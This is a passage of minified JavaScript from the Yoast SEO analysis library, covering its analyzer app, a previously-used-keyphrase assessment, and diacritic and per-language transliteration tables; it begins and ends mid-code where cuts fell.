e}registerCustomDataCallback(e){this.callbacks.custom||(this.callbacks.custom=[]),(0,n.isFunction)(e)&&this.callbacks.custom.push(e)}getData(){this.rawData=this.callbacks.getData(),(0,n.isArray)(this.callbacks.custom)&&this.callbacks.custom.forEach((e=>{const t=e();this.rawData=(0,n.merge)(this.rawData,t)})),this.pluggable.loaded&&(this.rawData.metaTitle=this.pluggable._applyModifications("data_page_title",this.rawData.metaTitle),this.rawData.meta=this.pluggable._applyModifications("data_meta_desc",this.rawData.meta)),this.rawData.titleWidth=(0,a.measureTextWidth)(this.rawData.metaTitle),this.rawData.locale=this.config.locale}refresh(){this.pluggable.loaded&&this._pureRefresh()}_pureRefresh(){this.getData(),this.runAnalyzer()}initAssessorPresenters(){(0,n.isUndefined)(this.config.targets.output)||(this.seoAssessorPresenter=new i.default({targets:{output:this.config.targets.output},assessor:this.seoAssessor})),(0,n.isUndefined)(this.config.targets.contentOutput)||(this.contentAssessorPresenter=new i.default({targets:{output:this.config.targets.contentOutput},assessor:this.contentAssessor}))}startTime(){this.startTimestamp=(new Date).getTime()}endTime(){this.endTimestamp=(new Date).getTime(),this.endTimestamp-this.startTimestamp>this.config.typeDelay&&this.config.typeDelay<this.config.maxTypeDelay-this.config.typeDelayStep&&(this.config.typeDelay+=this.config.typeDelayStep)}runAnalyzer(){if(!1===this.pluggable.loaded)return;this.config.dynamicDelay&&this.startTime(),this.analyzerData=this.modifyData(this.rawData);let e=this.analyzerData.text;e=(0,c.default)(e);const t=this.analyzerData.titleWidth;this.paper=new l.default(e,{keyword:this.analyzerData.keyword,synonyms:this.analyzerData.synonyms,description:this.analyzerData.meta,slug:this.analyzerData.slug,title:this.analyzerData.metaTitle,titleWidth:t,locale:this.config.locale,permalink:this.analyzerData.permalink}),this.config.researcher.setPaper(this.paper),this.runKeywordAnalysis(),this.runContentAnalysis(),this._renderAnalysisResults(),this.config.dynamicDelay&&this.endTime()}runKeywordAnalysis(){if(this.config.keywordAnalysisActive){this.seoAssessor.assess(this.paper);const e=this.seoAssessor.calculateOverallScore();(0,n.isUndefined)(this.callbacks.updatedKeywordsResults)||this.callbacks.updatedKeywordsResults(this.seoAssessor.results,e),(0,n.isUndefined)(this.callbacks.saveScores)||this.callbacks.saveScores(e,this.seoAssessorPresenter)}}runContentAnalysis(){if(this.config.contentAnalysisActive){this.contentAssessor.assess(this.paper);const e=this.contentAssessor.calculateOverallScore();(0,n.isUndefined)(this.callbacks.updatedContentResults)||this.callbacks.updatedContentResults(this.contentAssessor.results,e),(0,n.isUndefined)(this.callbacks.saveContentScore)||this.callbacks.saveContentScore(e,this.contentAssessorPresenter)}}modifyData(e){return(e=JSON.parse(JSON.stringify(e))).text=this.pluggable._applyModifications("content",e.text),e.metaTitle=this.pluggable._applyModifications("title",e.metaTitle),e}pluginsLoaded(){this.removeLoadingDialog(),this.refresh()}showLoadingDialog(){const e=document.getElementById(this.defaultOutputElement);if(""!==this.defaultOutputElement&&!(0,n.isEmpty)(e)){const e=document.createElement("div");e.className="YoastSEO_msg",e.id="YoastSEO-plugin-loading",document.getElementById(this.defaultOutputElement).appendChild(e)}}updateLoadingDialog(e){const t=document.getElementById(this.defaultOutputElement);if(""===this.defaultOutputElement||(0,n.isEmpty)(t))return;const r=document.getElementById("YoastSEO-plugin-loading");r.textContent="",(0,n.forEach)(e,(function(e,t){r.innerHTML+="<span class=left>"+t+"</span><span class=right "+e.status+">"+e.status+"</span><br />"})),r.innerHTML+="<span class=bufferbar></span>"}removeLoadingDialog(){const e=document.getElementById(this.defaultOutputElement),t=document.getElementById("YoastSEO-plugin-loading");""===this.defaultOutputElement||(0,n.isEmpty)(e)||(0,n.isEmpty)(t)||document.getElementById(this.defaultOutputElement).removeChild(document.getElementById("YoastSEO-plugin-loading"))}registerPlugin(e,t){return this.pluggable._registerPlugin(e,t)}pluginReady(e){return this.pluggable._ready(e)}pluginReloaded(e){return this.pluggable._reloaded(e)}registerModification(e,t,r,s){return this.pluggable._registerModification(e,t,r,s)}registerAssessment(e,t,r){if(!(0,n.isUndefined)(this.seoAssessor))return this.pluggable._registerAssessment(this.defaultSeoAssessor,e,t,r)&&this.pluggable._registerAssessment(this.cornerStoneSeoAssessor,e,t,r)}disableMarkers(){(0,n.isUndefined)(this.seoAssessorPresenter)||this.seoAssessorPresenter.disableMarker(),(0,n.isUndefined)(this.contentAssessorPresenter)||this.contentAssessorPresenter.disableMarker()}_renderAnalysisResults(){this.config.contentAnalysisActive&&!(0,n.isUndefined)(this.contentAssessorPresenter)&&this.contentAssessorPresenter.renderIndividualRatings(),this.config.keywordAnalysisActive&&!(0,n.isUndefined)(this.seoAssessorPresenter)&&(this.seoAssessorPresenter.setKeyword(this.paper.getKeyword()),this.seoAssessorPresenter.render())}analyzeTimer(){this.refresh()}registerTest(){console.error("This function is deprecated, please use registerAssessment")}switchAssessors(e){console.warn("Switch assessor is deprecated since YoastSEO.js version 1.35.0"),this.changeAssessorOptions({useCornerStone:e})}}},74059:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"usedKeywords",{enumerable:!0,get:function(){return n.default}});var s,n=(s=r(41156))&&s.__esModule?s:{default:s}},41156:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(65736),n=r(92819),i=l(r(85551)),a=r(49061),o=l(r(73054));function l(e){return e&&e.__esModule?e:{default:e}}t.default=class{constructor(e,t){if((0,n.isUndefined)(e))throw new i.default("The previously keyword plugin requires the YoastSEO app");(0,n.isUndefined)(t)&&(t={usedKeywords:{},usedKeywordsPostTypes:{},searchUrl:"",postUrl:""}),this.app=e,this.usedKeywords=t.usedKeywords,this.usedKeywordsPostTypes=t.usedKeywordsPostTypes,this.searchUrl=t.searchUrl,this.postUrl=t.postUrl,this.urlTitle=(0,a.createAnchorOpeningTag)("https://yoa.st/33x"),this.urlCallToAction=(0,a.createAnchorOpeningTag)("https://yoa.st/33y")}registerPlugin(){this.app.registerAssessment("usedKeywords",{getResult:this.assess.bind(this),isApplicable:function(e){return e.hasKeyword()}},"previouslyUsedKeywords")}updateKeywordUsage(e,t){this.usedKeywords=e,this.usedKeywordsPostTypes=t}scoreAssessment(e,t){const r=e.count,n=e.id,i=e.postTypeToDisplay;let a;return 0===r?{text:(0,s.sprintf)(
/* translators:
        %1$s expands to a link to an article on yoast.com,
        %2$s expands to an anchor end tag. */
(0,s.__)("%1$sPreviously used keyphrase%2$s: You've not used this keyphrase before, very good.","wordpress-seo"),this.urlTitle,"</a>"),score:9}:1===r?(a=`<a href='${this.postUrl.replace("{id}",n)}' target='_blank'>`,{
/* translators: %1$s expands to an admin link where the keyphrase is already used,
         %2$s expands to the anchor end tag, %3$s and %4$s expand to links on yoast.com. */
text:(0,s.sprintf)((0,s.__)("%3$sPreviously used keyphrase%2$s: You've used this keyphrase %1$sonce before%2$s. %4$sDo not use your keyphrase more than once%2$s.","wordpress-seo"),a,"</a>",this.urlTitle,this.urlCallToAction),score:6}):r>1?(a=i?`<a href='${this.searchUrl.replace("{keyword}",encodeURIComponent(t.getKeyword()))}&post_type=${i}' target='_blank'>`:`<a href='${this.searchUrl.replace("{keyword}",encodeURIComponent(t.getKeyword()))}' target='_blank'>`,{
/* translators: %1$s expands to a link to the admin search page for the keyphrase,
         %2$s expands to the anchor end tag, %3$s and %4$s expand to links to yoast.com */
text:(0,s.sprintf)((0,s.__)("%3$sPreviously used keyphrase%2$s: You've used this keyphrase %1$smultiple times before%2$s. %4$sDo not use your keyphrase more than once%2$s.","wordpress-seo"),a,"</a>",this.urlTitle,this.urlCallToAction),score:1}):void 0}researchPreviouslyUsedKeywords(e){const t=e.getKeyword();let r=0,s="",i=0;return!(0,n.isUndefined)(this.usedKeywords[t])&&this.usedKeywords[t].length>0&&(r=this.usedKeywords[t].length,t in this.usedKeywordsPostTypes&&(s=this.usedKeywordsPostTypes[t][0]),i=this.usedKeywords[t][0]),{id:i,count:r,postTypeToDisplay:s}}assess(e){const t=this.researchPreviouslyUsedKeywords(e),r=this.scoreAssessment(t,e),s=new o.default;return s.setScore(r.score),s.setText(r.text),s}}},24910:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){return[{base:"a",letters:/[\u0061\u24D0\uFF41\u1E9A\u00E0\u00E1\u00E2\u1EA7\u1EA5\u1EAB\u1EA9\u00E3\u0101\u0103\u1EB1\u1EAF\u1EB5\u1EB3\u0227\u01E1\u00E4\u01DF\u1EA3\u00E5\u01FB\u01CE\u0201\u0203\u1EA1\u1EAD\u1EB7\u1E01\u0105\u2C65\u0250]/g},{base:"aa",letters:/[\uA733]/g},{base:"ae",letters:/[\u00E6\u01FD\u01E3]/g},{base:"ao",letters:/[\uA735]/g},{base:"au",letters:/[\uA737]/g},{base:"av",letters:/[\uA739\uA73B]/g},{base:"ay",letters:/[\uA73D]/g},{base:"b",letters:/[\u0062\u24D1\uFF42\u1E03\u1E05\u1E07\u0180\u0183\u0253]/g},{base:"c",letters:/[\u0063\u24D2\uFF43\u0107\u0109\u010B\u010D\u00E7\u1E09\u0188\u023C\uA73F\u2184]/g},{base:"d",letters:/[\u0064\u24D3\uFF44\u1E0B\u010F\u1E0D\u1E11\u1E13\u1E0F\u0111\u018C\u0256\u0257\uA77A]/g},{base:"dz",letters:/[\u01F3\u01C6]/g},{base:"e",letters:/[\u0065\u24D4\uFF45\u00E8\u00E9\u00EA\u1EC1\u1EBF\u1EC5\u1EC3\u1EBD\u0113\u1E15\u1E17\u0115\u0117\u00EB\u1EBB\u011B\u0205\u0207\u1EB9\u1EC7\u0229\u1E1D\u0119\u1E19\u1E1B\u0247\u025B\u01DD]/g},{base:"f",letters:/[\u0066\u24D5\uFF46\u1E1F\u0192\uA77C]/g},{base:"g",letters:/[\u0067\u24D6\uFF47\u01F5\u011D\u1E21\u011F\u0121\u01E7\u0123\u01E5\u0260\uA7A1\u1D79\uA77F]/g},{base:"h",letters:/[\u0068\u24D7\uFF48\u0125\u1E23\u1E27\u021F\u1E25\u1E29\u1E2B\u1E96\u0127\u2C68\u2C76\u0265]/g},{base:"hv",letters:/[\u0195]/g},{base:"i",letters:/[\u0069\u24D8\uFF49\u00EC\u00ED\u00EE\u0129\u012B\u012D\u00EF\u1E2F\u1EC9\u01D0\u0209\u020B\u1ECB\u012F\u1E2D\u0268\u0131]/g},{base:"j",letters:/[\u006A\u24D9\uFF4A\u0135\u01F0\u0249]/g},{base:"k",letters:/[\u006B\u24DA\uFF4B\u1E31\u01E9\u1E33\u0137\u1E35\u0199\u2C6A\uA741\uA743\uA745\uA7A3]/g},{base:"l",letters:/[\u006C\u24DB\uFF4C\u0140\u013A\u013E\u1E37\u1E39\u013C\u1E3D\u1E3B\u017F\u0142\u019A\u026B\u2C61\uA749\uA781\uA747]/g},{base:"lj",letters:/[\u01C9]/g},{base:"m",letters:/[\u006D\u24DC\uFF4D\u1E3F\u1E41\u1E43\u0271\u026F]/g},{base:"n",letters:/[\u006E\u24DD\uFF4E\u01F9\u0144\u00F1\u1E45\u0148\u1E47\u0146\u1E4B\u1E49\u019E\u0272\u0149\uA791\uA7A5]/g},{base:"nj",letters:/[\u01CC]/g},{base:"o",letters:/[\u006F\u24DE\uFF4F\u00F2\u00F3\u00F4\u1ED3\u1ED1\u1ED7\u1ED5\u00F5\u1E4D\u022D\u1E4F\u014D\u1E51\u1E53\u014F\u022F\u0231\u00F6\u022B\u1ECF\u0151\u01D2\u020D\u020F\u01A1\u1EDD\u1EDB\u1EE1\u1EDF\u1EE3\u1ECD\u1ED9\u01EB\u01ED\u00F8\u01FF\u0254\uA74B\uA74D\u0275]/g},{base:"oi",letters:/[\u01A3]/g},{base:"ou",letters:/[\u0223]/g},{base:"oo",letters:/[\uA74F]/g},{base:"p",letters:/[\u0070\u24DF\uFF50\u1E55\u1E57\u01A5\u1D7D\uA751\uA753\uA755]/g},{base:"q",letters:/[\u0071\u24E0\uFF51\u024B\uA757\uA759]/g},{base:"r",letters:/[\u0072\u24E1\uFF52\u0155\u1E59\u0159\u0211\u0213\u1E5B\u1E5D\u0157\u1E5F\u024D\u027D\uA75B\uA7A7\uA783]/g},{base:"s",letters:/[\u0073\u24E2\uFF53\u00DF\u015B\u1E65\u015D\u1E61\u0161\u1E67\u1E63\u1E69\u0219\u015F\u023F\uA7A9\uA785\u1E9B]/g},{base:"t",letters:/[\u0074\u24E3\uFF54\u1E6B\u1E97\u0165\u1E6D\u021B\u0163\u1E71\u1E6F\u0167\u01AD\u0288\u2C66\uA787]/g},{base:"tz",letters:/[\uA729]/g},{base:"u",letters:/[\u0075\u24E4\uFF55\u00F9\u00FA\u00FB\u0169\u1E79\u016B\u1E7B\u016D\u00FC\u01DC\u01D8\u01D6\u01DA\u1EE7\u016F\u0171\u01D4\u0215\u0217\u01B0\u1EEB\u1EE9\u1EEF\u1EED\u1EF1\u1EE5\u1E73\u0173\u1E77\u1E75\u0289]/g},{base:"v",letters:/[\u0076\u24E5\uFF56\u1E7D\u1E7F\u028B\uA75F\u028C]/g},{base:"vy",letters:/[\uA761]/g},{base:"w",letters:/[\u0077\u24E6\uFF57\u1E81\u1E83\u0175\u1E87\u1E85\u1E98\u1E89\u2C73]/g},{base:"x",letters:/[\u0078\u24E7\uFF58\u1E8B\u1E8D]/g},{base:"y",letters:/[\u0079\u24E8\uFF59\u1EF3\u00FD\u0177\u1EF9\u0233\u1E8F\u00FF\u1EF7\u1E99\u1EF5\u01B4\u024F\u1EFF]/g},{base:"z",letters:/[\u007A\u24E9\uFF5A\u017A\u1E91\u017C\u017E\u1E93\u1E95\u01B6\u0225\u0240\u2C6C\uA763]/g}]}},43879:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if((0,i.isUndefined)(e))return[];const t=(0,n.default)(e);return"nb"===t||"nn"===t?a.nbnn:"bal"===t||"ca"===t?a.ca:a[t]||[]},t.transliterations=void 0;var s,n=(s=r(67404))&&s.__esModule?s:{default:s},i=r(92819);const a=t.transliterations={es:[{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00FA\u00FC]/g,alternative:"u"},{letter:/[\u00DA\u00DC]/g,alternative:"U"}],pl:[{letter:/[\u0105]/g,alternative:"a"},{letter:/[\u0104]/g,alternative:"A"},{letter:/[\u0107]/g,alternative:"c"},{letter:/[\u0106]/g,alternative:"C"},{letter:/[\u0119]/g,alternative:"e"},{letter:/[\u0118]/g,alternative:"E"},{letter:/[\u0142]/g,alternative:"l"},{letter:/[\u0141]/g,alternative:"L"},{letter:/[\u0144]/g,alternative:"n"},{letter:/[\u0143]/g,alternative:"N"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u015B]/g,alternative:"s"},{letter:/[\u015A]/g,alternative:"S"},{letter:/[\u017A\u017C]/g,alternative:"z"},{letter:/[\u0179\u017B]/g,alternative:"Z"}],de:[{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00FC]/g,alternative:"ue"},{letter:/[\u00DC]/g,alternative:"Ue"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00DF]/g,alternative:"ss"},{letter:/[\u1E9E]/g,alternative:"SS"}],nbnn:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00E9\u00E8\u00EA]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CA]/g,alternative:"E"},{letter:/[\u00F3\u00F2\u00F4]/g,alternative:"o"},{letter:/[\u00D3\u00D2\u00D4]/g,alternative:"O"}],sv:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E4]/g,alternative:"ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F6]/g,alternative:"oe"},{letter:/[\u00D6]/g,alternative:"Oe"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"}],fi:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u017E]/g,alternative:"zh"},{letter:/[\u017D]/g,alternative:"Zh"},{letter:/[\u0161]/g,alternative:"sh"},{letter:/[\u0160]/g,alternative:"Sh"}],da:[{letter:/[\u00E5]/g,alternative:"aa"},{letter:/[\u00C5]/g,alternative:"Aa"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u00C4]/g,alternative:"Ae"},{letter:/[\u00F8]/g,alternative:"oe"},{letter:/[\u00D8]/g,alternative:"Oe"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"}],tr:[{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u011F]/g,alternative:"g"},{letter:/[\u011E]/g,alternative:"G"},{letter:/[\u00F6]/g,alternative:"o"},{letter:/[\u00D6]/g,alternative:"O"},{letter:/[\u015F]/g,alternative:"s"},{letter:/[\u015E]/g,alternative:"S"},{letter:/[\u00E2]/g,alternative:"a"},{letter:/[\u00C2]/g,alternative:"A"},{letter:/[\u0131\u00EE]/g,alternative:"i"},{letter:/[\u0130\u00CE]/g,alternative:"I"},{letter:/[\u00FC\u00FB]/g,alternative:"u"},{letter:/[\u00DC\u00DB]/g,alternative:"U"}],lv:[{letter:/[\u0101]/g,alternative:"a"},{letter:/[\u0100]/g,alternative:"A"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u0113]/g,alternative:"e"},{letter:/[\u0112]/g,alternative:"E"},{letter:/[\u0123]/g,alternative:"g"},{letter:/[\u0122]/g,alternative:"G"},{letter:/[\u012B]/g,alternative:"i"},{letter:/[\u012A]/g,alternative:"I"},{letter:/[\u0137]/g,alternative:"k"},{letter:/[\u0136]/g,alternative:"K"},{letter:/[\u013C]/g,alternative:"l"},{letter:/[\u013B]/g,alternative:"L"},{letter:/[\u0146]/g,alternative:"n"},{letter:/[\u0145]/g,alternative:"N"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u016B]/g,alternative:"u"},{letter:/[\u016A]/g,alternative:"U"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"}],is:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00E9]/g,alternative:"e"},{letter:/[\u00C9]/g,alternative:"E"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00F3\u00F6]/g,alternative:"o"},{letter:/[\u00D3\u00D6]/g,alternative:"O"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00FE]/g,alternative:"th"},{letter:/[\u00DE]/g,alternative:"Th"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"}],fa:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u00F0]/g,alternative:"d"},{letter:/[\u00D0]/g,alternative:"D"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u00FA]/g,alternative:"u"},{letter:/[\u00DA]/g,alternative:"U"},{letter:/[\u00F3\u00F8]/g,alternative:"o"},{letter:/[\u00D3\u00D8]/g,alternative:"O"},{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"}],cs:[{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00C1]/g,alternative:"A"},{letter:/[\u010D]/g,alternative:"c"},{letter:/[\u010C]/g,alternative:"C"},{letter:/[\u010F]/g,alternative:"d"},{letter:/[\u010E]/g,alternative:"D"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u0148]/g,alternative:"n"},{letter:/[\u0147]/g,alternative:"N"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u0159]/g,alternative:"r"},{letter:/[\u0158]/g,alternative:"R"},{letter:/[\u0161]/g,alternative:"s"},{letter:/[\u0160]/g,alternative:"S"},{letter:/[\u0165]/g,alternative:"t"},{letter:/[\u0164]/g,alternative:"T"},{letter:/[\u00FD]/g,alternative:"y"},{letter:/[\u00DD]/g,alternative:"Y"},{letter:/[\u017E]/g,alternative:"z"},{letter:/[\u017D]/g,alternative:"Z"},{letter:/[\u00E9\u011B]/g,alternative:"e"},{letter:/[\u00C9\u011A]/g,alternative:"E"},{letter:/[\u00FA\u016F]/g,alternative:"u"},{letter:/[\u00DA\u016E]/g,alternative:"U"}],ru:[{letter:/[\u0430]/g,alternative:"a"},{letter:/[\u0410]/g,alternative:"A"},{letter:/[\u0431]/g,alternative:"b"},{letter:/[\u0411]/g,alternative:"B"},{letter:/[\u0432]/g,alternative:"v"},{letter:/[\u0412]/g,alternative:"V"},{letter:/[\u0433]/g,alternative:"g"},{letter:/[\u0413]/g,alternative:"G"},{letter:/[\u0434]/g,alternative:"d"},{letter:/[\u0414]/g,alternative:"D"},{letter:/[\u0435]/g,alternative:"e"},{letter:/[\u0415]/g,alternative:"E"},{letter:/[\u0436]/g,alternative:"zh"},{letter:/[\u0416]/g,alternative:"Zh"},{letter:/[\u0437]/g,alternative:"z"},{letter:/[\u0417]/g,alternative:"Z"},{letter:/[\u0456\u0438\u0439]/g,alternative:"i"},{letter:/[\u0406\u0418\u0419]/g,alternative:"I"},{letter:/[\u043A]/g,alternative:"k"},{letter:/[\u041A]/g,alternative:"K"},{letter:/[\u043B]/g,alternative:"l"},{letter:/[\u041B]/g,alternative:"L"},{letter:/[\u043C]/g,alternative:"m"},{letter:/[\u041C]/g,alternative:"M"},{letter:/[\u043D]/g,alternative:"n"},{letter:/[\u041D]/g,alternative:"N"},{letter:/[\u0440]/g,alternative:"r"},{letter:/[\u0420]/g,alternative:"R"},{letter:/[\u043E]/g,alternative:"o"},{letter:/[\u041E]/g,alternative:"O"},{letter:/[\u043F]/g,alternative:"p"},{letter:/[\u041F]/g,alternative:"P"},{letter:/[\u0441]/g,alternative:"s"},{letter:/[\u0421]/g,alternative:"S"},{letter:/[\u0442]/g,alternative:"t"},{letter:/[\u0422]/g,alternative:"T"},{letter:/[\u0443]/g,alternative:"u"},{letter:/[\u0423]/g,alternative:"U"},{letter:/[\u0444]/g,alternative:"f"},{letter:/[\u0424]/g,alternative:"F"},{letter:/[\u0445]/g,alternative:"kh"},{letter:/[\u0425]/g,alternative:"Kh"},{letter:/[\u0446]/g,alternative:"ts"},{letter:/[\u0426]/g,alternative:"Ts"},{letter:/[\u0447]/g,alternative:"ch"},{letter:/[\u0427]/g,alternative:"Ch"},{letter:/[\u0448]/g,alternative:"sh"},{letter:/[\u0428]/g,alternative:"Sh"},{letter:/[\u0449]/g,alternative:"shch"},{letter:/[\u0429]/g,alternative:"Shch"},{letter:/[\u044A]/g,alternative:"ie"},{letter:/[\u042A]/g,alternative:"Ie"},{letter:/[\u044B]/g,alternative:"y"},{letter:/[\u042B]/g,alternative:"Y"},{letter:/[\u044C]/g,alternative:""},{letter:/[\u042C]/g,alternative:""},{letter:/[\u0451\u044D]/g,alternative:"e"},{letter:/[\u0401\u042D]/g,alternative:"E"},{letter:/[\u044E]/g,alternative:"iu"},{letter:/[\u042E]/g,alternative:"Iu"},{letter:/[\u044F]/g,alternative:"ia"},{letter:/[\u042F]/g,alternative:"Ia"}],eo:[{letter:/[\u0109]/g,alternative:"ch"},{letter:/[\u0108]/g,alternative:"Ch"},{letter:/[\u011d]/g,alternative:"gh"},{letter:/[\u011c]/g,alternative:"Gh"},{letter:/[\u0125]/g,alternative:"hx"},{letter:/[\u0124]/g,alternative:"Hx"},{letter:/[\u0135]/g,alternative:"jx"},{letter:/[\u0134]/g,alternative:"Jx"},{letter:/[\u015d]/g,alternative:"sx"},{letter:/[\u015c]/g,alternative:"Sx"},{letter:/[\u016d]/g,alternative:"ux"},{letter:/[\u016c]/g,alternative:"Ux"}],af:[{letter:/[\u00E8\u00EA\u00EB]/g,alternative:"e"},{letter:/[\u00CB\u00C8\u00CA]/g,alternative:"E"},{letter:/[\u00EE\u00EF]/g,alternative:"i"},{letter:/[\u00CE\u00CF]/g,alternative:"I"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00FB\u00FC]/g,alternative:"u"},{letter:/[\u00DB\u00DC]/g,alternative:"U"}],ca:[{letter:/[\u00E0]/g,alternative:"a"},{letter:/[\u00C0]/g,alternative:"A"},{letter:/[\u00E9|\u00E8]/g,alternative:"e"},{letter:/[\u00C9|\u00C8]/g,alternative:"E"},{letter:/[\u00ED|\u00EF]/g,alternative:"i"},{letter:/[\u00CD|\u00CF]/g,alternative:"I"},{letter:/[\u00F3|\u00F2]/g,alternative:"o"},{letter:/[\u00D3|\u00D2]/g,alternative:"O"},{letter:/[\u00FA|\u00FC]/g,alternative:"u"},{letter:/[\u00DA|\u00DC]/g,alternative:"U"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"}],ast:[{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],an:[{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00F1]/g,alternative:"ny"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00ED]/g,alternative:"i"},{letter:/[\u00F3]/g,alternative:"o"},{letter:/[\u00E1]/g,alternative:"a"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00D1]/g,alternative:"Ny"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00CD]/g,alternative:"I"},{letter:/[\u00D3]/g,alternative:"O"},{letter:/[\u00C1]/g,alternative:"A"}],ay:[{letter:/(([\u00EF])|([\u00ED]))/g,alternative:"i"},{letter:/(([\u00CF])|([\u00CD]))/g,alternative:"I"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u0027]/g,alternative:""},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"}],en:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]/g,alternative:"Oe"},{letter:/[\u00EB\u00E9]/g,alternative:"e"},{letter:/[\u00C9\u00CB]/g,alternative:"E"},{letter:/[\u00F4\u00F6]/g,alternative:"o"},{letter:/[\u00D4\u00D6]/g,alternative:"O"},{letter:/[\u00EF]/g,alternative:"i"},{letter:/[\u00CF]/g,alternative:"I"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u00F1]/g,alternative:"n"},{letter:/[\u00D1]/g,alternative:"N"},{letter:/[\u00FC]/g,alternative:"u"},{letter:/[\u00DC]/g,alternative:"U"},{letter:/[\u00E4]/g,alternative:"a"},{letter:/[\u00C4]/g,alternative:"A"}],fr:[{letter:/[\u00E6\u04D5]/g,alternative:"ae"},{letter:/[\u00C6\u04D4]/g,alternative:"Ae"},{letter:/[\u0153]/g,alternative:"oe"},{letter:/[\u0152]/g,alternative:"Oe"},{letter:/[\u00E9\u00E8\u00EB\u00EA]/g,alternative:"e"},{letter:/[\u00C9\u00C8\u00CB\u00CA]/g,alternative:"E"},{letter:/[\u00E0\u00E2]/g,alternative:"a"},{letter:/[\u00C0\u00C2]/g,alternative:"A"},{letter:/[\u00EF\u00EE]/g,alternative:"i"},{letter:/[\u00CF\u00CE]/g,alternative:"I"},{letter:/[\u00F9\u00FB\u00FC]/g,alternative:"u"},{letter:/[\u00D9\u00DB\u00DC]/g,alternative:"U"},{letter:/[\u00F4]/g,alternative:"o"},{letter:/[\u00D4]/g,alternative:"O"},{letter:/[\u00FF]/g,alternative:"y"},{letter:/[\u0178]/g,alternative:"Y"},{letter:/[\u00E7]/g,alternative:"c"},{letter:/[\u00C7]/g,alternative:"C"},{letter:/[\u0